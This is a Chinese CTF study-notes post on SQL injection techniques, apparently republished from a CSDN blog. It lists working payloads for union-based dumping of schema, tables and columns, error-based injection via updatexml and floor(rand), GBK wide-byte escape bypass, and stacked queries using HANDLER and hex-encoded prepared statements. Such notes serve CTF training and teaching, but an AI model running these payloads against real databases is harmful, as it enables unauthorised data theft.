ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

ctf攻防渗透-SQL注入-SQL注入常用方法

2021-12-01 14:02:02  阅读:212  来源: 互联网

标签:union ctf 报错 SQL test id select 注入


联合注入(union):
①判断注入类型:
先判断注入类型:字符型,数字型(注入 id=a 报错表示 类型为数字 ,即就是$id,没有””)

判断如何包裹:输入去判断 数据是如何包裹的,单引号报错是单引号,双引号报错是双引号,在判断有没有括号包裹

例子:输入 a,1” ,1’ ,都报错 就是单纯的 $id
用 ‘,”,) 加在 id=1 后面,以 %23 结尾来测试 输入的结构
#是注释符 (url编码%23)

②查列数:
联合查询时 union select 后面列数要相同
(用oreer by)

③确定字段位置(为了确定数据与字段的对应关系)
union select 1,2,3,4,5 (看 12345 的位置)

当⻚⾯只会显示⼀⾏数据时候,需要先拼上⼀个恒假的条件让前⾯的结果集没有输⼊
and 1=2 union select 1,2,3,4,5

④查表名
select group_concat(table_name) from information_schema.tables where table_schema=database()

⑤查列名
select group_concat(column_name) from information_schema.columns where table_name=‘xxx’

⑥查数据
例子:

无列名注入:
?id=1 union select 1,(select group_concat(a) from (select ‘a’ union select * from f1ag_table) as t)

报错注入:
WHERE id =1 AND updatexml(1,concat(0x73,(select database())),1)

SELECT count(*),concat((select database()),floor(rand(114514)*2)) FROM users GROUP BY 2

宽字节注入:
利用 GBK 编码 用 %DF (因为可以和%5c 构成汉字 )来绕过注释 (比如’,” 符号会被加 \ 注释掉) 加 %DF 后 由于 DF 大于127 ,会把 %DF 和后一个字符(\)看作一个汉字,从而绕过注释

堆叠注入:
也叫多⾏注⼊,当代码允许多⾏查询时候使⽤,⼀般是在select等关键字被过滤的时候进⾏使⽤的。 对于堆叠注⼊,我们⼀般使⽤两种⽅式进⾏绕过select

1.查表:
show databases;
show tables;

  1. Handler使⽤

handler test open;
handler test read first;
handler test close;

3.动态执⾏预处理
set @a=0xxxxx; # 要执⾏语句的16进制
prepare test from @a;
execute test;

标签:union,ctf,报错,SQL,test,id,select,注入
来源: https://blog.csdn.net/redglare/article/details/121653923

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有